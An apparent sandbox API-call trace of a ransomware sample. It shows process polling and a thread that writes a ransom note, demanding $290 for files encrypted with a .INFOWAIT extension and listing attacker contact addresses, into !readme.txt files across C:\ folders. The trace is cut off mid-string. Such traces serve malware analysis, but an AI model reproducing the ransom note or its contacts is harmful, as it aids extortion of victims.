returned 1 [0147.414] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.414] Sleep (dwMilliseconds=0x1) [0147.429] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.429] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.446] CloseHandle (hObject=0xad4) returned 1 [0147.446] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.446] Sleep (dwMilliseconds=0x1) [0147.461] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.461] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.476] CloseHandle (hObject=0xad4) returned 1 [0147.476] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.476] Sleep (dwMilliseconds=0x1) [0147.492] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.492] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.508] CloseHandle (hObject=0xad4) returned 1 [0147.508] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.508] Sleep (dwMilliseconds=0x1) [0147.523] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.523] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.544] CloseHandle (hObject=0xad4) returned 1 [0147.544] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.544] Sleep (dwMilliseconds=0x1) [0147.559] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.559] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.570] CloseHandle (hObject=0xad4) returned 1 [0147.571] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.571] Sleep (dwMilliseconds=0x1) [0147.586] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.586] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.602] CloseHandle (hObject=0xad4) returned 1 [0147.602] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.602] Sleep (dwMilliseconds=0x1) [0147.617] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.617] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.632] CloseHandle (hObject=0xad4) returned 1 [0147.632] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.632] Sleep (dwMilliseconds=0x1) [0147.650] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.650] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.663] CloseHandle (hObject=0xad4) returned 1 [0147.663] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.663] Sleep (dwMilliseconds=0x1) [0147.679] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.679] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.694] CloseHandle (hObject=0xad4) returned 1 [0147.695] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.695] Sleep (dwMilliseconds=0x1) [0147.710] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.710] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.726] CloseHandle (hObject=0xad4) returned 1 [0147.726] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.726] Sleep (dwMilliseconds=0x1) [0147.741] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.741] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.761] CloseHandle (hObject=0xad4) returned 1 [0147.761] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.762] Sleep (dwMilliseconds=0x1) [0147.772] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.772] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.788] CloseHandle (hObject=0xad4) returned 1 [0147.788] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0147.788] Sleep (dwMilliseconds=0x1) [0147.804] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0147.804] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0147.850] CloseHandle (hObject=0xad4) returned 1 [0147.850] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 1 Thread: id = 136 os_tid = 0x5f8 [0112.517] timeGetTime () returned 0x94bf [0112.517] GetLastError () returned 0x0 [0112.517] GetCurrentThreadId () returned 0x5f8 [0112.517] SetLastError (dwErrCode=0x0) [0112.517] Sleep (dwMilliseconds=0x0) [0112.517] Sleep (dwMilliseconds=0x3e8) [0113.531] PeekMessageW (in: lpMsg=0x26efbfc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26efbfc) returned 0 [0113.535] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.535] PathFindFileNameW (pszPath="") returned="" [0113.535] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fa0000 [0113.536] GetProcAddress (hModule=0x75fa0000, lpProcName="SHGetFolderPathW") returned 0x76025708 [0113.536] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.536] PathAppendW (in: pszPath="C:\\", pMore="!readme.txt" | out: pszPath="C:\\!readme.txt") returned 1 [0113.536] PathFileExistsW (pszPath="C:\\!readme.txt") returned 0 [0113.537] lstrcpyW (in: lpString1=0x2480890, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.537] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.537] CreateFileW (lpFileName="C:\\!readme.txt" (normalized: "c:\\!readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3dc [0113.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", cchWideChar=-1, lpMultiByteStr=0x6ed528, cbMultiByte=2205, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", lpUsedDefaultChar=0x0) returned 1182 [0113.539] lstrlenA (lpString="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned 1181 [0113.539] WriteFile (in: hFile=0x3dc, lpBuffer=0x6eddd0*, nNumberOfBytesToWrite=0x49d, lpNumberOfBytesWritten=0x26efbec, lpOverlapped=0x0 | out: lpBuffer=0x6eddd0*, lpNumberOfBytesWritten=0x26efbec*=0x49d, lpOverlapped=0x0) returned 1 [0113.540] CloseHandle (hObject=0x3dc) returned 1 [0113.541] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x26efc2c | out: lpFindFileData=0x26efc2c) returned 0x66ba08 [0113.541] PathFindExtensionW (pszPath="C:\\!readme.txt") returned=".txt" [0113.541] FindNextFileW (in: hFindFile=0x66ba08, lpFindFileData=0x26efc2c | out: lpFindFileData=0x26efc2c) returned 1 [0113.541] PeekMessageW (in: lpMsg=0x26ef8ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26ef8ec) returned 0 [0113.542] FindNextFileW (in: hFindFile=0x66ba08, lpFindFileData=0x26efc2c | out: lpFindFileData=0x26efc2c) returned 1 [0113.542] PeekMessageW (in: lpMsg=0x26ef8ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26ef8ec) returned 0 [0113.549] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.549] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.549] PathFindFileNameW (pszPath="") returned="" [0113.549] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fa0000 [0113.550] GetProcAddress (hModule=0x75fa0000, lpProcName="SHGetFolderPathW") returned 0x76025708 [0113.550] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.550] PathAppendW (in: pszPath="C:\\Boot\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\!readme.txt") returned 1 [0113.550] PathFileExistsW (pszPath="C:\\Boot\\!readme.txt") returned 0 [0113.550] lstrcpyW (in: lpString1=0x2480890, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.550] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.560] PathFindExtensionW (pszPath="C:\\Boot\\!readme.txt") returned=".txt" [0113.560] FindNextFileW (in: hFindFile=0x66ba48, lpFindFileData=0x26ef91c | out: lpFindFileData=0x26ef91c) returned 1 [0113.560] PathFindExtensionW (pszPath="C:\\Boot\\BCD") returned="" [0113.560] FindNextFileW (in: hFindFile=0x66ba48, lpFindFileData=0x26ef91c | out: lpFindFileData=0x26ef91c) returned 1 [0113.560] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG") returned=".LOG" [0113.560] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG1") returned=".LOG1" [0113.560] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG2") returned=".LOG2" [0113.560] PathFindExtensionW (pszPath="C:\\Boot\\BOOTSTAT.DAT") returned=".DAT" [0113.560] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0113.560] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.560] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.560] PathFindFileNameW (pszPath="") returned="" [0113.561] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.561] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\!readme.txt") returned 1 [0113.561] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\!readme.txt") returned 0 [0113.562] lstrcpyW (in: lpString1=0x2480890, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.562] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for 